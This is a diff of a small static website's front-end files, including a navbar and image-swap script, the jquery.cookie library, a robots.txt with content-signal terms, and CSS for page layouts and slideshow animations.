View File
@@ -0,0 +1,29 @@
// 右上角菜单按钮
$('.navbar-toggler').on('click', function() {
const expanded = $(this).attr('aria-expanded')
if(expanded == 'false') {
$(this).addClass('close-nav')
}
else {
$(this).removeClass('close-nav')
}
})
/**
* home.html
*/
function updatePcImg() {
const vw = document.body.clientWidth
$('.pc-source').each(function() {
const styl = this.getAttribute('style')
if(vw > 767.98) {
const url = this.getAttribute('data-pc-url')
this.setAttribute('style', `background-image: url(${url})`)
}
else {
this.setAttribute('style', styl)
}
})
}
updatePcImg()
window.onresize = updatePcImg
js/jquery.cookie.min.js
Vendored
+2
View File
@@ -0,0 +1,2 @@
/*! jquery.cookie v1.4.1 | MIT */
!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof exports?a(require("jquery")):a(jQuery)}(function(a){function b(a){return h.raw?a:encodeURIComponent(a)}function c(a){return h.raw?a:decodeURIComponent(a)}function d(a){return b(h.json?JSON.stringify(a):String(a))}function e(a){0===a.indexOf('"')&&(a=a.slice(1,-1).replace(/\\"/g,'"').replace(/\\\\/g,"\\"));try{return a=decodeURIComponent(a.replace(g," ")),h.json?JSON.parse(a):a}catch(b){}}function f(b,c){var d=h.raw?b:e(b);return a.isFunction(c)?c(d):d}var g=/\+/g,h=a.cookie=function(e,g,i){if(void 0!==g&&!a.isFunction(g)){if(i=a.extend({},h.defaults,i),"number"==typeof i.expires){var j=i.expires,k=i.expires=new Date;k.setTime(+k+864e5*j)}return document.cookie=[b(e),"=",d(g),i.expires?"; expires="+i.expires.toUTCString():"",i.path?"; path="+i.path:"",i.domain?"; domain="+i.domain:"",i.secure?"; secure":""].join("")}for(var l=e?void 0:{},m=document.cookie?document.cookie.split("; "):[],n=0,o=m.length;o>n;n++){var p=m[n].split("="),q=c(p.shift()),r=p.join("=");if(e&&e===q){l=f(r,g);break}e||void 0===(r=f(r))||(l[q]=r)}return l};h.defaults={},a.removeCookie=function(b,c){return void 0===a.cookie(b)?!1:(a.cookie(b,"",a.extend({},c,{expires:-1})),!a.cookie(b))}});
robots.txt
+24
View File
@@ -0,0 +1,24 @@
# As a condition of accessing this website, you agree to abide by the following
# content signals:
# (a) If a content-signal = yes, you may collect content for the corresponding
# use.
# (b) If a content-signal = no, you may not collect content for the
# corresponding use.
# (c) If the website operator does not include a content signal for a
# corresponding use, the website operator neither grants nor restricts
# permission via content signal with respect to the corresponding use.
# The content signals and their meanings are:
# search: building a search index and providing search results (e.g., returning
# hyperlinks and short excerpts from your website's contents). Search does not
# include providing AI-generated search summaries.
# ai-input: inputting content into one or more AI models (e.g., retrieval
# augmented generation, grounding, or other real-time taking of content for
# generative AI search answers).
# ai-train: training or fine-tuning AI models.
# ANY RESTRICTIONS EXPRESSED VIA CONTENT SIGNALS ARE EXPRESS RESERVATIONS OF
# RIGHTS UNDER ARTICLE 4 OF THE EUROPEAN UNION DIRECTIVE 2019/790 ON COPYRIGHT
# AND RELATED RIGHTS IN THE DIGITAL SINGLE MARKET.
style/about.css
+151
View File
@@ -0,0 +1,151 @@
.main-about {
z-index: 8;
position: absolute;
left: 0;
top: 0;
right: 0;
bottom: 0;
display: flex;
align-items: center;
}
.main-about-mask-1 {
background: linear-gradient(180deg, rgba(6, 119, 161, .3) 0%, rgba(0, 0, 0, .7) 100%);
}
.main-about-mask-2 {
background: linear-gradient(180deg, rgba(197, 81, 42, .3) 0%, rgba(0, 0, 0, .7) 100%);
}
.main-about-mask-3 {
background: linear-gradient(180deg, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .7) 100%);
}
.main-about {
color: white;
}
.main-about .container {
/* height: auto; */
}
.main-about h2 {
position: relative;
padding: 0 0 1rem .5rem;
color: #ffc000;
}
.main-about h2::after {
content: '';
width: 0px;
height: 0px;
border-top: 10px solid transparent;
border-bottom: 10px solid transparent;
border-left: 16px solid #ffc000;
position: absolute;
top: .6rem;
left: -1rem;
}
.main-about .nav-img {
z-index: 8;
position: absolute;
left: 1rem;
top: 50%;
transform: translateY(-50%);
width: 6rem;
opacity: .6;
}
.main-about img {
display: block;
width: 100%;
}
.main-about p {
padding: 0 0 0 .5rem;
line-height: 1.5rem;
font-size: 1rem;
opacity: .9;
}
.content-1 {
position: absolute;
top: 50%;
left: 1rem;
right: 1rem;
transform: translateY(-50%);
}
/*分会*/
.city-items {
z-index: 10;
position: absolute;
top: 50%;
left: 9rem;
right: 1rem;
transform: translateY(-50%);
}
.city-items > div {
display: flex;
align-items: center;
justify-content: flex-start;
flex-wrap: wrap;
font-size: 1.2rem;
}
.city-items h5 {
width: 100%;
border-bottom: 1px solid #ffc000;
padding-bottom: .5rem;
font-size: 1.2rem;
line-height: 1.5rem;
font-weight: bold;
color: #ffc000;
}
.city-items label {
width: 100%;
color: #ffc000;
font-weight: bold;
border-bottom: 1px solid rgba(255, 255, 255, .7);
padding: .3rem 0;
}
.city-items span {
position: relative;
width: 25%;
padding: .1rem 0;
}
/*使命*/
.sm {
position: absolute;
top: 50%;
left: 9rem;
right: 1rem;
transform: translateY(-50%);
font-size: 1.1rem;
}
.sm h3 {
padding-top: 1.5rem;
font-size: 1.2rem;
color: #ffc000;
}
.sm p {
margin: 0;
padding: .2rem 0;
font-size: 1rem;
line-height: 1.4rem;
}
.main-about img.map {
z-index: 1;
position: absolute;
left: 50%;
top: 50%;
width: 70%;
opacity: .3;
transform: translate3d(-50%, -50%, 0);
}
@media (max-width: 767.98px) {
.main-about img.map{
width: 100%;
}
.sm,.city-items {
left: 8rem;
}
.city-items span {
width: 50%;
}
}
style/animate.min.css
Vendored
+7
View File
File diff suppressed because one or more lines are too long
style/bootstrap.min.css
Vendored
+7
View File
File diff suppressed because one or more lines are too long
style/en.css
+98
View File
@@ -0,0 +1,98 @@
/* Home */
.home-main-1 label,
.home-main-2 label {
font-weight: bold;
word-wrap: break-word;
}
.home-main-1 .content,
.home-main-2 .content {
top: 50%;
transform: translateY(-50%);
bottom: auto;
}
.worth-content-1 > div {
padding: 2rem .5rem !important;
line-height: 2rem !important;
}
.worth-content-2 {
position: relative;
}
.worth-content-2 > div {
width: 1000px !important;
-webkit-animation-duration: 70s !important;
animation-duration: 70s !important;
}
@media (max-width: 767.98px) {
/*about*/
.main-about h2 {
padding-bottom: .1rem !important;
}
.main-about p {
font-size: .95rem !important;
line-height: 1.2rem !important;
margin-bottom: .5rem !important;
}
.sm h3 {
padding-top: 1rem !important;
}
.sm p {
margin-bottom: 0 !important;
}
.city-items,
.sm {
left: 1rem !important;
}
/*value*/
.worth-content-1 > div {
padding: .6rem .5rem !important;
line-height: 1.4rem !important;
}
.worth-content-2 > div {
width: calc(100vw - 2rem) !important;
}
.worth-content-2 h5 {
font-size: 1.6rem !important;
line-height: 1.6rem !important;
padding-bottom: 0 !important;
}
.worth-content-2 p {
line-height: 1.3rem !important;
}
/*Join*/
.join-main-1 li {
padding: 0 0 0 .8rem!important;
}
.join-main-1 li::after {
top: .6rem !important;
}
.join-main-2 h4 {
padding-bottom: 0 !important;
line-height: 1.2rem !important;
}
.join-main-2 .item {
width: 100%;
margin: 0 !important;
padding: 0 0 .0 .5rem !important;
}
.join-main-2 .item h5 {
font-size: .9rem !important;
margin: 0 !important;
}
.join-main-2 .item p {
padding: 0 0 .1rem 0 !important;
line-height: .9rem !important;
font-size: .8rem !important;
}
.join-main-2 .tips {
margin: 0 !important;
line-height: .9rem !important;
font-size: .9rem;
}
}
style/home.css
+114
View File
@@ -0,0 +1,114 @@
/* 陪伴 */
.block-home-1 {
height: calc(100vh - 80px);
}
.home-main-1 {
z-index: 8;
position: absolute;
left: 0;
top: 0;
right: 0;
bottom: 0;
background: linear-gradient(180deg, rgba(24, 152, 127, .5) 0%, rgba(0, 0, 0, .5) 100%);
}
.home-main-1 .content {
position: absolute;
bottom: 10rem;
width: 50%;
color: white;
}
.home-main-1 .content label {
display: block;
font-size: 2.4rem;
line-height: 2.4rem;
opacity: .9;
padding-right: 1rem;
}
.home-main-1 .content img {
display: block;
width: 9rem;
margin-bottom: .5rem;
opacity: .8;
}
.home-main-1 .content span {
display: block;
padding: .8rem 0;
line-height: 1.8rem;
}
.home-main-1 .content a {
display: inline-block;
border: 1px solid white;
padding: .5rem 2rem;
margin-top: 2rem;
color: white;
opacity: .8;
}
/* 成长 */
.home-main-2 {
z-index: 8;
position: absolute;
left: 0;
top: 0;
right: 0;
bottom: 0;
background: linear-gradient(180deg, rgba(6, 119, 121, .1) 0%, rgba(6, 119, 121, .7) 100%);
}
.home-main-2 .content {
position: absolute;
bottom: 10rem;
width: 50%;
color: white;
}
.home-main-2 .content label {
display: block;
font-size: 2.4rem;
line-height: 2.4rem;
opacity: .9;
padding-right: 1rem;
}
.home-main-2 .content img {
display: block;
width: 9rem;
margin-bottom: .5rem;
opacity: .8;
}
.home-main-2 .content span {
display: block;
padding: .8rem 0;
line-height: 1.8rem;
}
.home-main-2 .content a {
display: inline-block;
border: 1px solid white;
padding: .5rem 2rem;
margin-top: 2rem;
color: white;
opacity: .9;
}
@media (max-width: 767.98px) {
/*陪伴*/
.block-home-1 {
height: calc(100vh - 65px);
}
.home-main-1 .content {
width: auto;
}
.home-main-1 .content label {
font-size: 2rem;
line-height: 2rem;
}
/*成长*/
.home-main-2 .content {
left: 1rem;
bottom: 3rem;
width: auto;
}
.home-main-2 .content label {
font-size: 2rem;
line-height: 2rem;
}
}
style/index.css
+105
View File
@@ -0,0 +1,105 @@
.block-index {
height: calc(100vh - 80px);
}
.video-container {
z-index: 2;
position: absolute;
left: 0;
top: 0;
bottom: 0;
right: 0;
/* background: url('../images/poster.png') no-repeat left center;
background-size: cover; */
}
.video-container video {
object-fit: cover;
width: 100%;
height: 100%;
}
.main-index {
z-index: 8;
position: absolute;
left: 0;
top: 0;
right: 0;
bottom: 0;
background: linear-gradient(180deg, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, .2) 100%);
}
.main-index .content {
position: absolute;
top: 0;
left: 0;
right: 0;
bottom: 0;
display: flex;
align-items: center;
justify-content: center;
}
.main-index .title {
font-size: 3.6rem;
color: white;
}
.main-index .title span {
display: block;
line-height: 4.8rem;
text-align: center;
}
.main-index .en {
font-size: 2.5rem !important;
font-weight: bold;
}
.main-index .en span {
line-height: 2.5rem !important;
}
.main-index .position a {
position: absolute;
right: 1rem;
bottom: 2rem;
}
.icon-triangle-arrow {
position: absolute;
left: 50%;
bottom: 10rem;
display: block;
margin-left: -2rem;
width: 4rem;
height: 4rem;
background: url('../images/logo-button.png') no-repeat center;
background-size: contain;
border-radius: 50%;
cursor: pointer;
box-shadow: 0 0 0 0 rgba(255, 255, 255, .5);
animation: pulse 1.5s infinite;
}
@keyframes pulse {
0% {
transform: scale(.9);
}
70% {
transform: scale(1);
box-shadow: 0 0 0 1rem rgba(255, 255, 255, 0);
}
100% {
transform: scale(.9);
box-shadow: 0 0 0 0 rgba(255, 255, 255, 0);
}
}
@media (max-width: 767.98px) {
.header-container h2 {
display: none;
}
.block-index {
height: calc(100vh - 65px);
}
.block-index .container h2 {
font-size: 2.8rem;
line-height: 3.2rem;
}
.icon-triangle-arrow {
/* width: 1.5rem;
height: 1.5rem; */
bottom: 5rem;
}
}
style/join.css
+157
View File
@@ -0,0 +1,157 @@
.join-main-1 {
z-index: 8;
position: absolute;
left: 0;
top: 0;
right: 0;
bottom: 0;
display: flex;
align-items: center;
background: linear-gradient(180deg, rgba(6, 119, 161, .3) 0%, rgba(0, 0, 0, .8) 100%);
color: white;
}
.join-main-1 .container {
height: auto;
padding: 0 1.5rem;
}
.join-main-1 h4 {
position: relative;
color: #ffc000;
font-size: 1.4rem;
line-height: 2rem;
font-weight: bold;
}
.join-main-1 h4::after {
content: '';
width: 0px;
height: 0px;
border-top: 10px solid transparent;
border-bottom: 10px solid transparent;
border-left: 16px solid #ffc000;
position: absolute;
top: .4rem;
left: -1.5rem;
}
.join-main-1 h5 {
position: relative;
padding-top: 1rem;
color: #ffc000;
font-size: 1rem;
font-weight: bold;
}
.join-main-1 li {
position: relative;
padding: .2rem 0 .2rem .8rem;
opacity: .9;
font-size: .9rem;
line-height: 1.3rem;
}
.join-main-1 li::after {
content: '';
position: absolute;
left: 0;
top: .8em;
width: 5px;
height: 5px;
background-color: white;
border-radius: 50%;
}
.join-main-1 li i {
display: none;
position: absolute;
left: 0;
top: .2rem;
}
.join-main-1 span {
display: block;
padding-bottom: 1rem;
opacity: .9;
}
.join-main-2 {
z-index: 8;
position: absolute;
left: 0;
top: 0;
right: 0;
bottom: 0;
display: flex;
align-items: center;
background: linear-gradient(180deg, rgba(6, 119, 161, .3) 0%, rgba(0, 0, 0, .8) 100%);
color: white;
}
.join-main-2 .container {
padding: 1.5rem 1rem;
}
.join-main-2 h4 {
position: relative;
padding: 0 0 1rem .5rem;
color: #ffc000;
font-size: 1.2rem;
line-height: 1.4rem;
font-weight: bold;
}
.join-main-2 h4::after {
content: '';
width: 0px;
height: 0px;
border-top: 10px solid transparent;
border-bottom: 10px solid transparent;
border-left: 16px solid #ffc000;
position: absolute;
top: .2rem;
left: -1rem;
}
.dna-items {
position: absolute;
top: 50%;
left: 1rem;
right: 1rem;
transform: translateY(-50%);
display: flex;
align-items: flex-start;
justify-content: space-between;
flex-wrap: wrap;
}
.dna-items h4 {
width: 100%;
}
.item {
width: 50%;
margin: .5rem 0 1rem 0;
}
.item:nth-child(2n+2) {
padding: 0 .5rem;
}
.item h5 {
font-size: 1.2rem;
font-weight: bold;
margin: 0 0 .2rem 0;
color: #bfebf3;
}
.item p {
position: relative;
padding: .15rem 0;
opacity: .8;
margin-bottom: 0;
font-size: 1rem;
}
.join-main-2 .tips {
padding-top: .5rem;
word-break: break-all;
color: #ffc000;
}
@media (max-width: 767.98px) {
.item {
margin-bottom: .5rem;
}
.item h5 {
font-size: 1.2rem;
}
.join-main-1 li,
.item p {
font-size: .9rem;
}
}
style/style.css
+701
View File
@@ -0,0 +1,701 @@
/* sass --watch style/style.scss style/style.css */
* {
font-family: "Montserrat", sans-serif;
}
h1,h2,h4,h5 {
font-weight: normal;
}
ul, li {
list-style: none;
padding: 0;
margin: 0;
}
.container {
position: relative;
height: 100%;
}
/* navbar */
.header {
/* position: relative; */
height: 80px;
background-color: rgba(60, 130, 150, 1); /*53293a*/
padding: .5rem 0;
}
.header .container {
max-width: 100%;
}
.header-container {
position: relative;
flex: 1;
display: flex;
align-items: center;
justify-content: space-between;
padding: 0 1rem;
}
.header-container .site-logo {
display: block;
height: 65px;
margin-right: .2rem;
}
.header-container a {
flex: 1;
display: flex;
}
.header-container a label {
display: none;
}
.header-container h2 {
display: none;
position: absolute;
margin: 0;
left: 5rem;
right: 5rem;
color: white;
font-size: 1.5rem;
line-height: 1.5rem;
text-align: left;
text-overflow: ellipsis;
white-space: nowrap;
overflow: hidden;
}
.navbar-dark .navbar-nav .nav-link {
color: white;
font-size: 1rem;
}
.header .navbar-toggler {
padding: 0;
}
.nav-item {
padding: 0 .6rem;
text-align: center;
}
.navbar-collapse {
flex-grow: inherit;
background-color: rgba(60, 130, 150, 1);
}
.select-language {
display: flex;
align-items: center;
justify-content: center;
padding-left: 1rem;
text-align: center;
font-size: .8rem;
color: white;
}
.select-language a {
padding: 0 .5rem;
color: white;
}
/* .navbar-toggler .navbar-toggler-icon {
background-image: url(../images/close.svg);
}
.collapsed .navbar-toggler-icon {
background-image: url(../images/menu.svg);
} */
.navbar-toggler {
display:block;
position:absolute;
width:30px;
height:25px;
right:10px;
top:10px;
z-index:200;
}
.nav__icon {
position: relative;
display: block;
position: relative;
width: 28px;
height: 2px;
background-color: #fff;
transition-property: background-color, transform;
transition-duration: 300ms;
}
.nav__icon::before,
.nav__icon::after {
content:'';
display: block;
width: 28px;
height: 2px;
position: absolute;
background: #fff;
transition-property: margin, transform;
transition-duration: 300ms;
}
.nav__icon::before {
margin-top: -10px;
}
.nav__icon::after {
margin-top: 10px;
}
.close-nav .nav__icon {
background: rgba(0,0,0, 0);
}
.close-nav .nav__icon::before {
margin-top: 0;
transform:rotate(45deg);
}
.close-nav .nav__icon::after {
margin-top: 0;
transform:rotate(-45deg);
}
/* 模块 */
body {
padding-top: 80px;
}
.page-block {
position: relative;
height: calc(100vh - 80px);
overflow: hidden;
}
.img-container {
position: sticky;
top: 0;
right: 0;
height: 100vh;
background-size: cover;
background-repeat: no-repeat;
background-position: center;
}
.swiper {
width: 100%;
height: 100%;
}
.swiper-slide {
position: relative;
height: 100%;
}
.swiper-slide p {
width: 100%;
height: 100%;
background-position: center;
background-repeat: no-repeat;
background-size: cover;
}
/* 联系YEN */
.contact-wrapper {
background: rgb(60, 130, 150) url(../images/cta-block-triangles.png) no-repeat left center;
background-size: contain;
padding: 1rem 0;
color: white;
}
.main-content {
display: flex;
align-items: flex-start;
justify-content: space-between;
}
.main-content label {
position: relative;
flex: 1;
font-weight: bold;
padding-left: .6rem;
}
.main-content label::after {
content: '';
width: 0px;
height: 0px;
border-top: 10px solid transparent;
border-bottom: 10px solid transparent;
border-left: 16px solid;
position: absolute;
top: 2px;
left: -1rem;
}
.main-content p {
margin: 0 0 0 1rem;
}
.main-content p span {
display: flex;
align-items: center;
justify-content: flex-start;
padding: .3rem 0;
font-size: .8rem;
}
.main-content p a {
color: white;
line-height: .8rem;
}
.main-content p img {
width: 1.5rem;
height: 1.5rem;
margin-right: .2rem;
}
/* 页脚 */
.copyright {
background-color: rgb(2,67,78);
color: rgba(255, 255, 255, .8);
text-align: center;
font-size: 12px;
padding: .5rem 1rem;
}
/*背景图切换动画*/
.slideshow {
position: absolute;
width: 100vw;
height: 100vh;
overflow: hidden;
}
/*3张图*/
.slideshow-3-image {
position: absolute;
width: 100%;
height: 100%;
background: no-repeat 50% 50%;
background-size: cover;
-webkit-animation-name: kenburns-3;
animation-name: kenburns-3;
-webkit-animation-timing-function: linear;
animation-timing-function: linear;
-webkit-animation-iteration-count: infinite;
animation-iteration-count: infinite;
-webkit-animation-duration: 18s;
animation-duration: 18s;
opacity: 1;
-webkit-transform: scale(1);
transform: scale(1);
}
.slideshow-3-image:nth-child(1) {
-webkit-animation-name: kenburns-3-1;
animation-name: kenburns-3-1;
z-index: 2;
}
.slideshow-3-image:nth-child(2) {
-webkit-animation-name: kenburns-3-2;
animation-name: kenburns-3-2;
z-index: 1;
}
.slideshow-3-image:nth-child(3) {
-webkit-animation-name: kenburns-3-3;
animation-name: kenburns-3-3;
z-index: 0;
}
@keyframes kenburns-3-1 {
0% {
opacity: 1;
-webkit-transform: scale(1);
transform: scale(1);
}
23.4375% {
opacity: 1;
}
33.5625% {
opacity: 0;
-webkit-transform: scale(1.2);
transform: scale(1.2);
}
100% {
opacity: 0;
-webkit-transform: scale(1);
transform: scale(1);
}
90.4375% {
opacity: 0;
-webkit-transform: scale(1);
transform: scale(1);
}
100% {
opacity: 1;
}
}
@keyframes kenburns-3-2 {
23.4375% {
opacity: 1;
-webkit-transform: scale(1);
transform: scale(1);
}
33.5625% {
opacity: 1;
}
56.4375% {
opacity: 1;
}
66.5625% {
opacity: 0;
-webkit-transform: scale(1.2);
transform: scale(1.2);
}
100% {
opacity: 0;
-webkit-transform: scale(1);
transform: scale(1);
}
}
@keyframes kenburns-3-3 {
56.4375% {
opacity: 1;
-webkit-transform: scale(1);
transform: scale(1);
}
66.5625% {
opacity: 1;
}
90.4375% {
opacity: 1;
}
100% {
opacity: 0;
-webkit-transform: scale(1.2);
transform: scale(1.2);
}
}
/*4张图*/
.slideshow-4-image {
position: absolute;
width: 100%;
height: 100%;
background: no-repeat 50% 50%;
background-size: cover;
-webkit-animation-name: kenburns-4;
animation-name: kenburns-4;
-webkit-animation-timing-function: linear;
animation-timing-function: linear;
-webkit-animation-iteration-count: infinite;
animation-iteration-count: infinite;
-webkit-animation-duration: 20s;
animation-duration: 20s;
opacity: 1;
-webkit-transform: scale(1);
transform: scale(1);
}
.slideshow-4-image:nth-child(1) {
-webkit-animation-name: kenburns-4-1;
animation-name: kenburns-4-1;
z-index: 3;
}
.slideshow-4-image:nth-child(2) {
-webkit-animation-name: kenburns-4-2;
animation-name: kenburns-4-2;
z-index: 2;
}
.slideshow-4-image:nth-child(3) {
-webkit-animation-name: kenburns-4-3;
animation-name: kenburns-4-3;
z-index: 1;
}
.slideshow-4-image:nth-child(4) {
-webkit-animation-name: kenburns-4-4;
animation-name: kenburns-4-4;
z-index: 0;
}
@keyframes kenburns-4-1 {
0% {
opacity: 1;
-webkit-transform: scale(1);
transform: scale(1);
}
1.5625% {
opacity: 1;
}
15.4375% {
opacity: 1;
}
25.5625% {
opacity: 0;
-webkit-transform: scale(1.2);
transform: scale(1.2);
}
100% {
opacity: 0;
-webkit-transform: scale(1);
transform: scale(1);
}
90.4375% {
opacity: 0;
-webkit-transform: scale(1);
transform: scale(1);
}
100% {
opacity: 1;
}
}
@keyframes kenburns-4-2 {
15.4375% {
opacity: 1;
-webkit-transform: scale(1);
transform: scale(1);
}
25.5625% {
opacity: 1;
}
40.4375% {
opacity: 1;
}
50.5625% {
opacity: 0;
-webkit-transform: scale(1.2);
transform: scale(1.2);
}
100% {
opacity: 0;
-webkit-transform: scale(1);
transform: scale(1);
}
}
@keyframes kenburns-4-3 {
40.4375% {
opacity: 1;
-webkit-transform: scale(1);
transform: scale(1);
}
50.5625% {
opacity: 1;
}
65.4375% {
opacity: 1;
}
75.5625% {
opacity: 0;
-webkit-transform: scale(1.2);
transform: scale(1.2);
}
100% {
opacity: 0;
-webkit-transform: scale(1);
transform: scale(1);
}
}
@keyframes kenburns-4-4 {
65.4375% {
opacity: 1;
-webkit-transform: scale(1);
transform: scale(1);
}
75.5625% {
opacity: 1;
}
90.4375% {
opacity: 1;
}
100% {
opacity: 0;
-webkit-transform: scale(1.2);
transform: scale(1.2);
}
}
/*5张图*/
.slideshow-5-image {
position: absolute;
width: 100%;
height: 100%;
background: no-repeat 50% 50%;
background-size: cover;
-webkit-animation-name: kenburns-5;
animation-name: kenburns-5;
-webkit-animation-timing-function: linear;
animation-timing-function: linear;
-webkit-animation-iteration-count: infinite;
animation-iteration-count: infinite;
-webkit-animation-duration: 30s;
animation-duration: 30s;
opacity: 1;
-webkit-transform: scale(1);
transform: scale(1);
}
.slideshow-5-image:nth-child(1) {
-webkit-animation-name: kenburns-5-1;
animation-name: kenburns-5-1;
z-index: 4;
}
.slideshow-5-image:nth-child(2) {
-webkit-animation-name: kenburns-5-2;
animation-name: kenburns-5-2;
z-index: 3;
}
.slideshow-5-image:nth-child(3) {
-webkit-animation-name: kenburns-5-3;
animation-name: kenburns-5-3;
z-index: 2;
}
.slideshow-5-image:nth-child(4) {
-webkit-animation-name: kenburns-5-4;
animation-name: kenburns-5-4;
z-index: 1;
}
.slideshow-5-image:nth-child(5) {
-webkit-animation-name: kenburns-5-5;
animation-name: kenburns-5-5;
z-index: 0;
}
@keyframes kenburns-5-1 {
0% {
opacity: 1;
-webkit-transform: scale(1);
transform: scale(1);
}
1.5625% {
opacity: 1;
}
10.4375% {
opacity: 1;
}
20.5625% {
opacity: 0;
-webkit-transform: scale(1.2);
transform: scale(1.2);
}
100% {
opacity: 0;
-webkit-transform: scale(1);
transform: scale(1);
}
90.4375% {
opacity: 0;
-webkit-transform: scale(1);
transform: scale(1);
}
100% {
opacity: 1;
}
}
@keyframes kenburns-5-2 {
10.4375% {
opacity: 1;
-webkit-transform: scale(1);
transform: scale(1);
}
20.5625% {
opacity: 1;
}
30.4375% {
opacity: 1;
}
40.5625% {
opacity: 0;
-webkit-transform: scale(1.2);
transform: scale(1.2);
}
100% {
opacity: 0;
-webkit-transform: scale(1);
transform: scale(1);
}
}
@keyframes kenburns-5-3 {
30.4375% {
opacity: 1;
-webkit-transform: scale(1);
transform: scale(1);
}
40.5625% {
opacity: 1;
}
50.4375% {
opacity: 1;
}
60.5625% {
opacity: 0;
-webkit-transform: scale(1.2);
transform: scale(1.2);
}
100% {
opacity: 0;
-webkit-transform: scale(1);
transform: scale(1);
}
}
@keyframes kenburns-5-4 {
50.4375% {
opacity: 1;
-webkit-transform: scale(1);
transform: scale(1);
}
60.5625% {
opacity: 1;
}
70.4375% {
opacity: 1;
}
80.5625% {
opacity: 0;
-webkit-transform: scale(1.2);
transform: scale(1.2);
}
100% {
opacity: 0;
-webkit-transform: scale(1);
transform: scale(1);
}
}
@keyframes kenburns-5-5 {
70.4375% {
opacity: 1;
-webkit-transform: scale(1);
transform: scale(1);
}
80.5625% {
opacity: 1;
}
90.4375% {
opacity: 1;
}
100% {
opacity: 0;
-webkit-transform: scale(1.2);
transform: scale(1.2);
}
}
@media (max-width: 767.98px) {
.header {
height: 65px;
}
.header-container .site-logo {
height: 44px;
}
.nav-item {
border-bottom: 1px solid rgba(255, 255, 255, .08);
}
.nav-item:first-child {
border-top: 1px solid rgba(255, 255, 255, .1);
}
.select-language {
padding: 1rem 0 .5rem 0;
}
.header-container h2 {
display: block;
left: 4rem;
right: 4rem;
color: white;
font-size: 1rem;
line-height: 1rem;
text-align: center;
}
.navbar-collapse {
position: absolute;
left: 0;
right: 0;
top: 55px;
flex-grow: inherit;
padding-bottom: 10px;
background-color: rgba(60, 130, 150, 1);
}
body {
padding-top: 65px;
}
.page-block {
min-height: calc(100vh - 65px);
}
}
style/value.css
+431
View File
@@ -0,0 +1,431 @@
.worth-main-2 {
z-index: 1000;
position: absolute;
left: 0;
top: 0;
right: 0;
bottom: 0;
color: white;
background: linear-gradient(180deg, rgba(0, 0, 0, .3) 0%, rgba(0, 0, 0, .8) 100%);
display: flex;
align-items: center;
justify-content: center;
}
.worth-main-2 h3 {
margin-bottom: 1rem;
font-size: 1.4rem;
}
.main-2 {
position: relative;
width: calc(100vw - 4rem);
}
.worth-content-2 > div{
position: absolute;
-webkit-animation-name: kenburns-5-text;
animation-name: kenburns-5-text;
-webkit-animation-timing-function: linear;
animation-timing-function: linear;
-webkit-animation-iteration-count: infinite;
animation-iteration-count: infinite;
-webkit-animation-duration: 45s;
animation-duration: 45s;
opacity: 0;
top: 0;
width: calc(100vw - 2rem);
left: -2rem;
}
.worth-content-2 h5 {
padding-bottom: .5rem;
color: #ffc000;
font-size: 1.8rem;
line-height: 2rem;
font-weight: bold;
}
.worth-content-2 label {
color: white;
font-size: 1rem;
font-weight: bold;
}
.worth-content-2 p {
line-height: 1.6rem;
color: white;
opacity: .8;
}
.worth-content-2 > div:nth-child(1){
-webkit-animation-name: kenburns-5-text-1;
animation-name: kenburns-5-text-1;
z-index: 4;
}
.worth-content-2 > div:nth-child(2){
-webkit-animation-name: kenburns-5-text-2;
animation-name: kenburns-5-text-2;
z-index: 3;
}
.worth-content-2 > div:nth-child(3){
-webkit-animation-name: kenburns-5-text-3;
animation-name: kenburns-5-text-3;
z-index: 2;
}
.worth-content-2 > div:nth-child(4){
-webkit-animation-name: kenburns-5-text-4;
animation-name: kenburns-5-text-4;
z-index: 1;
}
.worth-content-2 > div:nth-child(5){
-webkit-animation-name: kenburns-5-text-5;
animation-name: kenburns-5-text-5;
z-index: 0;
}
@keyframes kenburns-5-text-1 {
0% {
opacity: 0;
left: -2rem;
}
5% {
opacity: 1;
left: 0;
}
15% {
opacity: 1;
left: 0;
}
20% {
opacity: 0;
left: 2rem;
}
95% {
opacity: 0;
left: -2rem;
}
100% {
opacity: 0;
left: -2rem;
}
}
@keyframes kenburns-5-text-2 {
20% {
opacity: 0;
left: -2rem;
}
25% {
opacity: 1;
left: 0;
}
35% {
opacity: 1;
left: 0;
}
40% {
opacity: 0;
left: 2rem;
}
100% {
opacity: 0;
left: -2rem;
}
}
@keyframes kenburns-5-text-3 {
40% {
opacity: 0;
left: -2rem;
}
45% {
opacity: 1;
left: 0;
}
55% {
opacity: 1;
left: 0;
}
60% {
opacity: 0;
left: 2rem;
}
100% {
opacity: 0;
left: -2rem;
}
}
@keyframes kenburns-5-text-4 {
60% {
opacity: 0;
left: -2rem;
}
65% {
opacity: 1;
left: 0;
}
75% {
opacity: 1;
left: 0;
}
80% {
opacity: 0;
left: 2rem;
}
100% {
opacity: 0;
left: -2rem;
}
}
@keyframes kenburns-5-text-5 {
80% {
opacity: 0;
left: -2rem;
}
85% {
opacity: 1;
left: 0;
}
95% {
opacity: 1;
left: 0;
}
100% {
opacity: 0;
left: 2rem;
}
}
.block-worth-1 {
height: calc(100vh - 80px);
}
.main-worth {
z-index: 30;
position: relative;
height: 100%;
background: linear-gradient(180deg, rgba(0, 0, 0, .3) 0%, rgba(0, 0, 0, .7) 100%);
}
.main-worth .container {
/* display: flex;
align-items: center;
justify-content: center;
width: 100%; */
color: rgba(255, 255, 255, .9);
}
.worth-content-1 {
position: absolute;
left: 1rem;
right: 1rem;
top: 50%;
transform: translateY(-50%);
}
.worth-content-1 > div {
padding: 2rem .5rem;
width: 90%;
text-align: right;
}
.worth-content-1 > div:nth-child(2n) {
margin-left: 10%;
}
.worth-content-1 span {
display: inline-block;
width: 100%;
font-size: 2rem;
}
.worth-content-1 small {
color: #ffc000;
font-size: 1.2rem;
line-height: 1.2rem;
text-align: right;
}
.worth-main-2 .content {
position: absolute;
top: 50%;
left: 1rem;
right: 1rem;
transform: translateY(-50%);
}
.worth-main-2 .content > div {
min-height: 13rem;
}
@media (max-width: 767.98px) {
/*陪伴*/
.block-worth-1 {
height: calc(100vh - 65px);
}
.worth-main-1 .content {
width: auto;
}
.worth-main-1 .content label {
font-size: 2rem;
line-height: 2rem;
}
.worth-content-1 > div {
padding: 1rem .5rem;
}
.worth-content-1 span {
font-size: 1.1rem;
}
.worth-content-1 small {
display: block;
font-size: .9rem;
line-height: .9rem;
}
.slideshow-5-image {
position: absolute;
width: 100%;
height: 100%;
background: no-repeat 50% 50%;
background-size: cover;
-webkit-animation-name: kenburns-5;
animation-name: kenburns-5;
